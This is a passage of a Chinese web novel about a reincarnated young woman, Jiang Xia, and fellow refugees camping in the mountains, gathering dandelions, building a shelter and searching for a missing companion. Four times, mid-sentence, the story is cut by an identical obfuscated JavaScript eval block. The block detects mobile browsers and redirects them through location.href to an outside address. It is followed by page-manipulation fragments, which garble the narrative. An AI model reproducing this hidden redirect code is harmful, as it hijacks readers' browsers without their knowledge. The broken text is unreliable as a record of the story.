江夏坐了会儿,实在觉得无聊,便找了根粗壮的棍子,拄着在周围慢慢走着。 一阵山风吹过,嫩黄色的蒲公英花轻轻摇动,江夏伸手掐了一朵捏在手中。上辈子自己熬夜工作经常上火喉咙痛,工位旁就常备着蒲公英花茶和金银花茶。 想到这里,江夏用自己的裙摆兜着,开始采摘这些蒲公英花。反正闲着也是闲着,干脆将这些蒲公英花晒干制成花茶,有备无患。 现在已进五月,天气越来越热,他们逃难路上一不注意就很容易上火。 这一带显然人迹罕至,蒲公英开得肆意而热烈,金黄的花朵在微风中轻轻摇曳。江夏拄着粗糙的木拐,一瘸一拐地穿行在花丛间,不多时便采了半兜子鲜花。直到衣兜沉甸甸地坠着,指尖也被花汁染得微黄,她才恋恋不舍地收手,慢吞吞地往回走。 周二清理杂草抬头就能看见江夏在采花,只以为是小姑娘爱花,也没有阻止,现在看到她装了半兜的花回来,笑着说道:“你怎么采了这么多的婆婆丁啊?这只采花不采叶,不好看啊” “周二叔,我不是采了花看的,我是用来喝水的” “喝水?这花怎么喝啊?我只见过别人用它来做菜的”,周二一脸疑惑,婆婆丁用来做菜不稀奇,可用来喝周二就闻所未闻。 他只听过喝茶,没听过喝花的呀! “那等我弄好了,周二叔你可愿意试试看?”,江夏笑着问道。 “行啊,你弄好给我喝一碗就行”,周二也不放在心上,笑了笑,接着去清理地面去了。 江夏蹲在板车旁,望着面前铺开的粗布床巾直发愁。蒲公英花沾着细碎的草屑,若直接摊在这布上晾晒,只怕要闷出霉斑来。她指尖轻捻着一朵黄花,乳白的汁液 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668595|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺着茎秆渗出——这花还得先用水淘洗过再晾晒,可湿漉漉的花苞该往哪儿晾呢? “得找个竹筛子才好…”她喃喃自语,目光扫过四周。可眼下这荒山野岭的,上哪儿去寻个竹筛子呢? 正当江夏一筹莫展之际,林氏带着子安江诚回来了。 林氏的背上背着一大捆树枝,手中还抱着一捆,子安牵着江诚走在前面,两人手中的竹篮里满满当当装着新摘的野菜。 看到江夏,江诚从子安的手中挣脱出来,蹦蹦跳跳的跑向她。“阿姐你看,我给你采的花”,江诚从篮子里小心取出一束紫色小花递到她面前,“好看不?” “好看”,江夏笑着接过那束花。 林氏将拾来的柴放到地上,伸手用衣袖抹了一把脸上的汗,笑着对江夏说道:“你们两个真不愧是亲姐弟,这孩子采犁头草,你采婆婆丁,还采这么多。这花又不值当吃,采这些干什么” “做吃的是不太行,但是可以做药啊”。犁头草学名叫紫花地丁,既能够治疗蛇虫叮咬,又能抗菌消炎消肿,是他们现在野外生存的珍贵药材呢! “做药?做啥药啊?”,听到能做药,林氏好奇的多问了一句。 “嗯…做跌打损伤之类的外敷药…”,江夏也不能很肯定,毕竟她不是学中医的,对于这些草药的了解大多是听村里老一辈人说的,还有一部分是自己患癌后,好友天天分享给自己的乱七八糟的公众号上写的,什么抗癌神药… “那这药还挺好的。不过小夏你怎么知道这些的啊?”,林氏问道。 江夏一愣,“啊...是,是我先前在慈云寺时,曾见一位老师傅为香客诊治,便是这般说法” “哦”。林氏也没再追问,点头表示了解,“那你要怎么处理这些花,不对,是药材啊? “我想等周大叔他们回来,看看他们有没有找到水源,先将它们洗干净晾晒起来再说。” “也对。不过他们找水怎么找了这么久”,林氏看了眼天色,太阳已经西斜,他们出去有一个多时辰了吧。 江夏刚准备开口安慰,林子里传来几人的脚步声。 抬头望去,远远就瞧见周大等人笑容满面的回来,肩膀上还扛着几根竹子。 “大哥,你们回来了”,周二迎上去,“从哪里找到这些竹子的?” 话音刚落,“呀!还有只鹿?!” 周二的声音中既有惊讶,更有惊喜。 “哈哈哈哈…!是我们猎到的,今晚我们可以大吃一顿了”,李木的声音中也充满兴奋。 “好小子,真不错啊!”,周二擂了他一拳头。 众人的脸上都洋溢着笑容。纷纷开始帮忙生火。鹿已经被周大他们提前处理好了,现在就只需要用木棍将它串起来架在火上烤就行了。 “周大叔,你们找到水源了,离这儿远吗?”,江夏问道。 “不远,从这儿过去再往下走一小段路就能看见了”,周大指着他们回来的那条小路说道,“你是要去打水吗?我去给你打回来。”说着就要起身。 “不用了,周大叔你坐着歇会儿吧,就是洗些野菜,我们自己去就行”,江夏拦住他,拎着采摘的蒲公英花跟着林氏往周大所说的水边走去。 11. 搭建窝棚 江诚默默上前接过江夏手中的布兜搀扶住江夏。 林氏和江夏相视一笑,“阿诚这孩子可比子安懂事多了,知道体贴照顾你” “因为有你和周大叔在身边,所以才能自在的玩耍吧。我倒是希望阿诚能像子安那般开朗活泼些。” 两人说着话走了没多远就看到周大所说的地方,一条溪流蜿蜒着从大山深处流经这里,水流清澈和缓。水光粼粼间可见几尾银鱼悠然游弋,“皆若空游无所依”在此刻具象化了。 “我来洗就是了,你身子还没好,何必也跟着过来呢”,林氏蹲在溪边,将竹篮浸入水中,仔细清洗着刚摘的芥菜。 江夏嘴角勾起一抹浅笑,“总不好什么事都不做,全依赖着你们啊。” 林氏皱眉,“唉,你这丫头怎这么还这么见外…”,江夏只笑笑,并不说话。 林氏将采摘的芥菜清洗干净后放在一旁,又帮江夏洗蒲公英花,再将洗干净的花垒在菜上,“你这花洗了怎么晾啊?” “我刚看到周大叔他们砍了竹子回来,想着可以用竹子编些竹筛之类的晾晒,可…我不会编竹筛…”,江夏脸有些微微发烫,刚说完不能完全依赖别人,紧接着又让别人帮自己。 “这好弄,陈东陈青两兄弟会竹编。他们爷爷就在平安城里开杂货铺子的,专门卖他们自家编的一些东西。你要想要,和他们说一声” “这不太好吧…” “这有什么不好的。反正现在也不赶路了,闲着也是闲着,编些东西路上也能用啊”,林氏看江夏还是犹豫,说道,“你要不好意思开口,我来说。就你这点花,编一个就够了,费不了他们什么事的” 林氏说到做到,回去之后就找陈东陈青二人提起这事。 他二人正边搭窝棚,边绘声绘色的描述他们猎鹿的场景,毕竟对于他们这种从未打猎过的人来说,初次打猎就猎到一头鹿这件事够他们吹好久了。 听到林氏让他们编东西时,整个人还是懵的。 “编啥东西?” “我不清楚,是小夏要用的,我让她和你们说”,说着,将江夏拖到他们二人跟前,“你要编啥和他们说就行。我去做饭了” 被留在原地的江夏有些尴尬,抿了抿唇,半天没有开口。 还是陈东先开口说道:“咋了小夏?你要编啥东西?” “我想编一个竹筛,用来晾晒花茶…” “嗨,我还以为要编啥呢。这简单,等窝棚搭好,我们给你编,很快的” “谢谢陈东哥,陈青哥” “没事,待会儿做好给你送过去” 心里的一件事三言两语就解决了,江夏长舒一口气,坐在一旁闲适的看着他们搭窝棚。 只见他们在清理干净的地上挖了几个坑,再用柴刀将竹子劈成等长的立柱,深深插入挖得松软的坑中,背靠着山壁正好围成一个方方正正的框架,再用浸过水的藤蔓将竹子紧紧捆扎固定。 待骨架搭好,李木又抱来大捆从山里砍来的松枝和干茅草。众人先将茅草细细铺在顶上,再将松枝一层层铺在茅草上,由下往上像鱼鳞般叠压紧实,最后用石块压住。周二还特意在背风面留出个窄口,既能通风又不至于灌进雨水。 一座小小的窝棚在众人的手下不多时就建好了。江夏围着窝棚走了两圈,不得不说,他们的手艺还是很好的,虽然简陋,但也能遮风挡雨,给了他们栖身之所。 周二走进去看了看,然后又转身朝着林中走去。不多时,就抱着一捆藤蔓回来,坐在一旁,将藤蔓像织网一般横竖交错的编成藤网。 “二哥,这是铺在地上睡觉的吗?”,李木凑过去看着周二编的这张藤网。有些粗糙,但还是可以用的。 周二将最后一点编好,“不是”,说着起身朝窝棚里走去,将藤网悬挂在头顶的竹竿上,顿时不大的窝棚里被藤网分隔成两边,一边大,一边小。 “二哥,这是干什么?”,李木不解。 “那小的一侧给嫂嫂和小夏睡,她俩不能和我们一群大老爷们睡在一起啊”,周二解释道。 众人这才纷纷醒悟过来,是的,他们中间还有两个女子。这一路走来,大家同吃同睡,早已忘记男女大防。 虽然一个还小,一个是他们的大嫂,他们完全没有任何邪念,但终归女子的名声很重要,尤其江夏还未说亲。 江夏也听到了周二的话,在内心感慨周二这人心细,总能关注到一些细微处。 但这份感动也没有持续很久。 当夜幕低垂,众人挤在狭小的窝棚里安歇时,此起彼伏的鼾声如雷贯耳。有人磨牙,有人梦呓,更有那震天响的呼噜声,时而如牛哞,时而似风箱,搅得她睡意全无。 江夏蜷缩在角落,望着茅草缝隙间漏下的几点星光,方才那点感动早被这震耳欲聋的“夜曲”冲散得无影无踪。 当然此刻的她还不知道接下来会发生的事情,仍是很感动的。 随着太阳西沉,最后一丝微光也逐渐消散,烤鹿肉的香味顺着山风送进每一个人的鼻腔中。 好香! 所有人的目光不由自主的望向正烤得滋滋冒油的鹿肉,“咕噜”咽了口口水。 “可以吃了吧…”,刘老三舔了舔自己的嘴唇,看着鹿肉低声说道。 周二拿着刀削下一片薄薄的鹿肉塞进自己嘴里,顿时眼睛放光,“可以吃了!” 此话一出,其余人一窝蜂的全围了上去。 “别急啊!全都有,都别急!”,周二拿着刀在旁边分着肉,嘴里还不停的念叨的。时不时割一小块扔自己嘴里。 “诶,二哥!我们还没吃呢!你都吃好多块了”,刘老三咽着口水抱怨道。 “马上到你”,说着,又割了一小块塞到子安嘴里。 江夏没有围在烤肉旁边,而是蹲在林氏旁边看着火。 “你咋不过去吃啊,你看他们那饿狼样,你再不过去,估计一会儿该没了” “不会的,周二叔在分着呢”,江夏边说边用木筷缓缓搅动着陶罐里咕嘟冒泡的芥菜粥,米粒在青绿的菜叶间若隐若现。这锅粥的米,是大家你一把我一捧凑出来的。 从商量好进山开始,大家就决定集体搭伙过日子,粮食交到一起,统一分配。江夏和江诚还算幸运,多亏前些日子江诚去县城采买了几升米,眼下才能从容地和大家一起吃大锅饭。不然,他们怕是真要红着脸,吃别人家的粮食了。 “也是。老二这人看着滑头,没心没肺似的,但其实啊,心很细的”,林氏笑着看向烤肉那边,见周二又割下一块肉塞到了江诚嘴里,“唉,老二的孩子要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668596|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能长大,估计也比江诚小那么一点” “周二叔的孩子…”,江夏一脸好奇,之前没听过啊。 “三岁没的。掉水井里,救上来人已经没气了。”说道那个孩子,林氏眼眶有些泛红。 “那孩子啊也和阿诚一样聪明懂事。那天就是因为他娘受了风寒,躺在床上睡觉。他想着给她熬点粥,家里水缸没水,他就跑井边去打水,三岁的孩子哪里打得动水啊! 等她娘醒来,找不到他,人都快急疯了。后来还是老二在井里发现的他… 那井就在院子里,离着他娘睡觉的屋子也没多远,可恰恰那天他娘身体不舒服,整个人都睡死了过去,啥声也没听到” “后来那孩子没了,他娘的魂儿好像也跟着他一起去了,大病一场,身体一直不怎么好,两人也就没再有孩子” “怪不得周二叔那么喜欢阿诚…” “唉”,林氏长叹一口气,“不说这些了,走,去吃饭吧”。端着煮着芥菜粥的陶罐往烤肉那里走去。 她们二人刚坐下,周二就递过来装着肉的竹片,“这肉是我辛苦替你们保下的,你们再不过来啊,就被他们抢走了” 江夏道了声谢,接过竹片。江诚也用竹筒替她盛了一碗粥给她。 自从生病后,她很多东西都不能吃,到后来更是几乎无法进食。来到这里这么久,她也没吃过一顿像样的饭,早已忘了美食的滋味。 轻轻夹起一块烤鹿肉,咬破烤得金黄酥脆的外皮,滚烫的肉汁便瞬间溢满口腔。外皮焦香,内里却鲜嫩多汁,只有简单的盐巴调味反而将鹿肉本身的醇厚甘甜衬托得淋漓尽致。 再喝一口熬得浓稠的芥菜粥,清甜的菜叶与米香交融,温润地滑过舌尖。一口肉香浓郁,一口粥味清甜,两者交替间,竟将连日来汤药留下的苦涩冲刷得一干二净。 这一刻,她终于尝到了久违的、活着的滋味! 江夏有点想哭,在这一刻她无比感谢上天让自己再活一次! 不只江夏一人如此感叹,其他人也都很感慨。他们这些人虽算不上大富大贵,但也是吃喝不愁。 周家兄弟开着镖局,偶尔卖些猎来的野货。陈家兄弟家中经营着杂货铺,刘老三父母开着一家早食铺子。江家更不用说了,开着平安城里最大的酒楼。 他们也从没想过不到一个月的时间,人生会发生如此天翻地覆的变化! “唔…”,刘老三吸了吸鼻子,声音闷闷的,“我有点想家了…” 火堆旁一时安静下来,木柴燃烧的噼啪声格外清晰。大家都想家,可他们没有家了。 “至少我们还活着,活着就有希望回到家乡”,李木说道。 他本是其他州府逃来平安城的,家破人亡这件事很多年前他就已经经历过了。如今再次踏上逃亡之路,反倒比其他人看得开些。 其他人听了李木的话,神色渐渐舒展开来。“李木说得在理,”周二抹了把脸,“能活着坐在这儿吃肉,就是老天爷开恩了。” “就是就是!”陈青陈东兄弟也跟着嚷嚷起来,举起手中的肉,“吃肉吃肉,今天是个好日子,别想难过的事情。” 火堆旁的气氛重新热络起来,有人甚至轻轻哼起了一支平安城里的童谣,熟悉的旋律悠扬婉转,在夜空中飘荡,逐渐飘向远方… 12. 山间一日 吃过晚饭,周大周二等人将烤肉后的灰烬收集起来,仔细洒在窝棚里,然后李木又将搭顶剩下的松枝铺在灰上,拍了拍手,“这样晚上睡在上面,就能减轻一些地下传来的寒气与潮气”。 江夏站在窝棚前仰望夜空,但见新月如钩,星河璀璨,昏暗夜色下可见远处群峰耸峙,烟波浩渺。 “小夏,水烧好了,快过来,我替你上药”,林氏端着水,站在窝棚前喊道。 “好!”,江夏回身应道,拄着木棍缓慢走向窝棚。一颗流星在她的身后迅速划落。 江诚已经替她收拾好了临时的床铺——松枝垫底,铺上厚厚的干茅草,最上层覆了两人的衣裳。看到江夏进来,他起身走到门口守着。 江夏解开衣衫,小心地趴卧在草铺上。她纤瘦的后背裸露在微弱的火光里,一道狰狞的伤口从肩胛骨斜贯至腰侧,长约一尺四寸。原本外翻的皮肉已被利刃削平,深红色的伤痕像一条毒蛇盘踞在雪白的肌肤上,触目惊心。 “这伤……倒是比前几日瞧着似乎好了些。”林氏拧干热帕子,轻轻按在伤口边缘,将之前涂的药擦去。伤口处的红肿已消退,也不再渗血,隐隐有了愈合的趋势。 江夏的脸埋在衣服里,声音闷闷的,带着点笑意,“嗯…不是说了嘛,有仙人保佑我!” 江夏的话轻佻随意,但其实心里也很疑惑自己伤好的如此之快。也不知是不是伤药的原因,误打误撞对她很适用,还是穿越带来的新手保护期,竟然让她在这道致命伤中活了下来。 但穿越这件事都能发生,再发生什么匪夷所思的事情她都能接受了。 “那就求神仙保佑你伤口早日恢复吧”,林氏边替她重新涂上药边说,“这伤口太大,这药也用不了几天了” “没事,反正没有恶化,剩下的就靠养了” “养也要有条件啊。你这伤口这么大,不用药绝对是要留疤的,你一个小姑娘以后不嫁人了啊!”,林氏将帕子扔进木盆里,“你先睡吧,我去将水倒了” “好,谢谢你周大婶”。 江夏趴着,她倒是对能不能嫁人无所谓。上一世因为父母婚姻的失败,导致她对结婚嫁人天然的带上几分恐惧。后来进去大学,身边的好友接二连三的脱单,看着她们沉溺在爱情的美好氛围中,喜怒哀乐全系在别人的身上,更是加深了那种恐惧——害怕自己会变成自己妈妈那样的人,因为感情破裂而变得歇斯底里。 前世她在事业上小有所成,优秀的男生也见过不少。可直到她二十八岁因病死亡都没有谈过恋爱,想过要嫁人。现在来到这里,她更加不认为自己会爱上这个封建时代的男子,并与之结婚生子。 可是在这个时代女子如果不嫁人,又该以什么身份生活呢? 不过现在想这些也太早了,还是先想想怎么明天该吃些什么更重要。今天的烤肉一下子将她体内的馋虫勾引了出来,要是之后还是啃大饼,她估计又会哭——这次是难过的哭! 想着上辈子自己吃过的美食江夏沉沉睡去。梦中自己身体大好,疯狂吃着火锅,烧烤,炸串,螺蛳粉…各种美食应有尽有。 第二天醒来后江夏还有些怅然若失。还有好些美食没尝到呢! 窝棚里江诚和子安还睡着,江夏轻手轻脚的走了出去,看到林氏正在剥笋。看到江夏起来,笑着说道:“喏,你昨天要的竹筛,陈青他们给你编好了,也不知道你要多大的,就给你按常用的大小编的。你看看可行” 竹筛就靠在窝棚旁边,挺大一个,到她胸前。 “够了,这么大够我晒好多了” 江夏推着竹筛,将它挪到阳光下。再将昨天洗过的花一个个铺在上面。 “那两个小的还没醒吧” “没呢。这几天累着了,估计还得睡一会儿。”,江夏看了眼四周静悄悄的,只她们二人,“其他人呢?怎么没看见” “嗨,昨天吃了点肉,倒把大家的馋虫都勾出来了。今儿个一早,他们又结伴进林子打野物去了。”林氏手里的菜刀狠狠剁在竹笋上,发出“乓乓”的闷响,“这野物哪有那么好打?昨儿个能猎到一只纯属走运。要我说,今天就该好好歇着养精蓄锐。可他们偏不听,仗着有点打猎的经验就敢往深山老林里钻。这大山的危险他们又不是不知道…等会儿空着手回来,看他们还有什么话说!” “别说周大叔他们馋,我也馋,要不是身体不好,我也是要跟着他们进去的”,江夏说着咽了咽口水。 林氏被她逗的噗嗤一声笑出来:“我说你昨晚咋一直吧唧嘴,还咯咯笑个不停,敢情是梦见吃好的了?” 江夏顿时臊得满脸通红,耳朵根都烧了起来:“啊?不能吧...我平时睡觉可老实了…” 她心里直犯嘀咕——昨儿半夜被呼噜声吵醒的时候,还嫌弃别人睡得跟打雷似的,哪成想自己梦里也出洋相。 林氏拍着大腿笑得更欢实了:“哎呦喂,我还能编排你不成?这人睡着啊,就跟那脱缰的驴似的,由不得你!你听听外头那几个,那呼噜打得,房顶的茅草都要给掀飞喽!” 两人笑着说了半天的话,不但将所有花晾晒整齐,还把一筐笋剥出来,切成均匀的笋条。 “现在也就这山里的笋子还嫩着其他地方估计都老了。趁着日头好,多晒些,晒成笋干,好带着在路上吃。” “笋干烧肉可好吃了,可惜没有铁锅…”,江夏顺口搭话道。 听到江夏说起吃的,林氏悄摸靠近她问道:“你在寺庙里那几年能吃荤腥吗?” “呃…吃的。我只是借住在寺庙,不能在庙里吃荤腥,但偶尔会出去解解馋。” 住在寺庙那段日子其实原主挺开心的,每天诵经礼佛,虽枯燥,但也令人心情平静。 “那还好,要是小小年纪就断了尘缘,整日吃斋茹素才可惜呢!” “那不会,我可放不下人间美食。” “哈哈哈哈哈…” 将最后一个笋条摆好,太阳也爬到半山坡上,云雾缭绕,浮光跃金。 林氏拍了拍手,“走,吃饭去,不等他们了” 早饭是昨晚的芥菜粥加了水重新煮成了稀饭。昨晚大家抢着吃肉,反而饭吃的少了些。 “要把子安和阿诚叫起来吗?”江夏看了眼窝棚问道。 “不用,让他们睡”,林氏低头盛着饭,头也没抬,“给他们留着就行,等他们醒了再吃。”将手中盛了稀饭的竹筒递给她,“经历这么多事,我们大人都吃不消,何况他们两个小孩儿。 我吃过饭准备再去采些野菜,你就留在这里别乱走。” “山里危险,你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668597|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人可以吗?” “不走远,就去昨天采过的地方。那里还有好些野菜呢!现在再不采,等天气暖和,就老了。” 一碗稀饭,林氏囫囵着两三口就吃完了,将碗在水盆里简单涮了一下,拎着竹篮风风火火就走了。 江夏被她的速度惊了一下,低笑一声,埋头吃着自己面前的稀饭。吃完将竹筒洗刷干净倒扣放好,又去窝棚看了眼睡着的两人,见两人还睡得香甜,也没惊动他们,就又退了出去。 站在窝棚前发了会儿呆,也拎着一个竹篮去不远处采摘蒲公英花。 采了半篮子花远远就听到周二几人说话的声音,转头望去,看到几人像昨日那样扛着竹子回来,脸上也有着笑意。 江夏一喜,又捕到什么好东西了? 急急忙忙跑过去,“周二叔,打到什么好东西了?”可她没发现什么猎物啊? “呵呵呵呵,是好东西,不过你可能不会喜欢的”,周二笑着说道。 江夏皱眉,不懂他话里的意思。就见李木抬手伸到她面前,一条有她手腕粗,通体褐色花纹的蛇垂了下来。 “啊!!!”,江夏一蹦多远,连手中的木棍都扔了,脸色惨白,直直盯着李木手中的那条蛇。 “别怕啊小夏。这蛇已经被我们打死了,不会咬你的”,周二看到江夏显然是被李木给吓到了,连忙出声安慰她,回身在李木头上拍了一巴掌,“收起来,你想吓死她吗?” 江夏也回过神,伸手按在自己胸口,深呼吸平复胸腔中跳动过快的心跳。 别的动物还好,这种软体动物是她两辈子最怕的东西。 “我没事了,周二哥,你说的好东西就是这个吗…?”,江夏皱眉,僵着脖子努力让自己不往李木手中看去。 “是啊,这蛇可是好东西,蛇肉做蛇羹,蛇血能祛寒,蛇胆能泡酒”,刘老三说道,“全身都是宝,你说是不是好东西!” 刘老三家中就是开食肆的,说起吃的也是头头是道。 “呵呵,”江夏僵笑着,是好东西她也无福消受的。“那你们弄吧,我去看看阿诚他们,陶罐里还有周大婶留着的稀饭,你们记得吃啊!” 说着转身要往窝棚走去,就看到子安和江诚揉着眼睛朝着这里走来。 “你们什么时候醒的?” “刚醒”,这是江诚的声音。 “是被小夏姐你的叫声吓醒的”,这是子安的声音。 “不好意思啊,吵到你们了” “没事啦,”子安小大人一般挥了挥手,“不过小夏姐你看到啥了,叫得那么大声。” “喏,是这个”,李木又举着手凑了过来,不过这会儿江夏已经有了心理准备,听到李木的声音,主动离他远了些。 “啊!!!”,与江夏的叫声不同,这叫声中全是惊讶与欣喜,毫无惧怕之意。“好大一条蛇啊!李木哥是你捉到的吗?” 子安和江城围着李木叽叽喳喳的叫着,“是周大哥打死的,但却是我第一个发现它的” 子安听到这话,跑到周大身边,抱着他的大腿,“爹,你好厉害啊!我以后也要变得和你一样厉害!” 周大笑呵呵的将他抱了起来,“打了一条蛇就厉害了?你要想学啊爹就教你。不过你现在太小了,得等你长大点才行。” 13. 意外自责 看到江诚呆呆的站在原地,眼睛直愣愣的看向被周大抱着的子安,江夏走过去,伸手在他头上轻轻抚摸着,“去洗脸吃饭吧,饭还热着呢”,江夏轻声对他说道。 感受到江夏掌心的温热,江诚抬头冲着她露出笑,点点头乖巧的去洗脸吃饭了。 “走,我们也去吃饭。跑一早上,我肚子早就饿得咕咕叫了”,周二大声说道,招呼着众人往临时搭起的灶台走去。 江夏皱眉看着李木跟在周二身后,手中还甩着那软趴趴的蛇的尸体。等他们走远,她捡回刚才被自己扔飞的木棍,又慢悠悠地走回刚才的蒲公英花丛。 “别走太远!”周二在她身后大声叮嘱。 “好!”,江夏回身应道。刚看到那么大的一条蛇,不用他们提醒,她现在也是不敢一个人往林子深处去的,谁知道这附近还有没有蛇。 野外生活就是这点让人不适,存在各种爬行动物,一想到自己睡觉时如果有一条蛇爬进来…… 江夏打了个哆嗦,浑身鸡皮疙瘩都竖了起来。 不能想! 当时决定要进山时,就应该想到可能会遇到蛇之类的,该去药铺买些雄黄粉的。唉,可惜自己当时身体不好,整个人都昏昏沉沉的,没想到这一方面。 江夏懊恼的揪着面前的花朵,等手中拎着的篮子都装满,才发现自己几乎已经将他们营地附近的蒲公英花全摘了。 回到营地时,陈青陈东二人正在砍竹子,子安叽叽喳喳围着周大,“爹,你给我做个弓箭吧,要能够射中猎物的那种” 看到江夏拎着花篮回来,陈东抬头问她:“那个竹筛够你用吗?不够的话我再给你编一个。” “够了,谢谢你陈东哥”,江夏笑着道了声谢。 “嗐,这有啥好谢的。你还要做啥吗?我们现在有空可以帮你做,正好今天又砍了些竹子回来。” 江夏略一思索,双眼放光,“还真有。陈东哥你等着,我去拿点东西。”说着就往窝棚走去,在自己的随身包裹里翻出一个木匣子,打开,里面是一些笔墨纸砚。 江夏抱着匣子走出去,在陈东二人旁边坐下,“嗯……我想做一个可以背着的箱子,”江夏摊开纸,加水研墨,在纸上勾勒出一个古代电视剧中常见的书生赶考时背着的竹箱。 将纸递给他们二人,“这看着倒是不难,我们试试。”说着将纸摆在一旁,拿起竹子开始制作。 他们先将竹子砍成段,钻孔,搭成一个长方形的框架。接着,把竹子劈开,削去内侧的竹节,做成薄薄的竹篾。随后,陈东和陈青熟练地将竹篾一挑一压地编织起来,很快便编好了一块简单的人字图案竹席。他们将这片编好的竹席紧密地插嵌在框架四周,箱子的侧壁便初步成型了。 江夏看着两人将做好的箱壁组装成箱体框架,指着箱子内部提议道:“我想在里面加块隔板,分成上下两层,行吗?” “可以啊”,陈青应道。他利落地削出四根小竹钉,在箱子四边内侧竹子的中间位置各钻了个小孔,然后将竹钉轻轻敲进去,只留个小头在外面。“待会儿编块小竹板放上去,隔层就有了。” 正忙活着,周二带着李木几人从河边处理完蛇回来了。见大家都埋头忙着,周二好奇地凑上前:“嘿,你们几个鼓捣啥呢?” 旁边的子安抬起头,满脸期待地看着周二:“二叔!我爹在给我做弓箭呢!下次你们去打猎,能不能也带上我啊?” 周二眨巴眨巴眼,边往后退了半步边笑道:“这事儿啊,你得问你爹去,二叔我可不敢打包票。”他心里嘀咕着,子安可是他老周家的独苗,带去打猎万一磕着碰着,这责任他可担不起。 转开话题,周二一屁股坐到陈东和陈青旁边,看着他们编织竹篾:“那你们这又是在做啥?” 江夏回答道:“周二叔,我请陈东哥和陈青哥帮我做个箱子。” “箱子?”周二有些不解,“赶路带箱子多不方便啊。” “是个能背在背上的箱子,”陈东解释道,顺手拿起旁边那张图纸递给他看,“喏,就按小夏画的这个做。” 周二仔细看了看图纸,又瞅瞅地上已具雏形的箱体框架,转头问江夏:“这想法不错啊,竹子做的,轻便又透气。你琢磨出来的?” 江夏点点头:“嗯。眼瞅着天越来越热,赶路免不了要晒太阳。我就想做个这样的箱子,既能装东西,还能挡挡日头。” 周二把图纸放回原处,撸起袖子:“好主意!来,我也搭把手。” 有了周二的帮忙,箱子的雏形很快就做好了。将最长的两根竹子靠近背着的一面削了一道口子,然后将那道豁口放在火上烤,边烤边用力弯曲。 周大抬头望了望头顶明晃晃的太阳,眉头不自觉地蹙起,声音里带着一丝不易察觉的焦躁:“小夏,你周大婶呢?这都快晌午了,怎么还不见人影?” “啊?”江夏被问得一愣,顺着他的目光也看向日头,心里“咯噔”一下。是啊,周大婶早饭后就说去昨天那片地方再采些野菜,这都过去快两个时辰了……她的声音不由自主地低了下去:“她说……去昨天采野菜的地方了……” 不祥的预感瞬间攫住了每个人的心。在这大山里,一个人走了一上午都没有回来,很难不让人联想到不好的地方。 周大的脸色骤然沉了下来,眉间的川字纹又更深了几分。周二也收起了惯常的笑容,快步走到周大身边,声音努力维持着镇定:“大哥,别急!大嫂兴许是……是发现了好大一片野菜,采得忘了时辰……”可这话连他自己听着都透着虚,在这林子里,“忘了时辰”往往意味着更糟的情况——迷路。 “走,大哥,我陪你一起去找嫂嫂”,李木说道。 “我们也去”,另外三人异口同声地说道。 “爹!我也要去!我要去找娘!”子安猛地扑过来,小脸涨得通红,死死拽住周大的衣角,带着哭腔喊:“我知道昨天娘去的哪儿!” 周大低头看着儿子焦急的小脸,眼神复杂,最终重重一点头:“好,你也去!” “我……”江夏刚想开口就被周二打断:“小夏,你和阿诚留下!万一大嫂回来见不着人,又该着急进林子找了,你们在这儿守着!”他的语气坚定,不容置疑。 没有再过多犹豫,周大一行人迅速朝着子安指的方向走去,身影逐渐消失在树林中。 江夏僵立在原地,目光追随着他们远去的背影,直到完全看不见。一股浓重的自责感从心底蔓延开来,她下意识地绞紧了双手,指甲无意识地深深陷进掌心,留下道道泛白的月牙印痕,仿佛只有这细微的疼痛才能稍微抑制住身体的颤抖。 “阿姐……”江诚靠过来,小手紧紧攥住江夏的衣角,仰起的小脸上也满是担忧,“周大婶……周大婶会没事的,对吧?” 江夏蹲下身紧紧抱住江诚,“会没事的……”她的声音很轻,既像是回答江诚的疑问,也更像是安慰自己。 另一边,子安领着众人急匆匆地赶到昨天采摘野菜的地方。地上泥土有明显被翻动和野菜采摘痕迹,但却不见林氏的身影。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668598|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 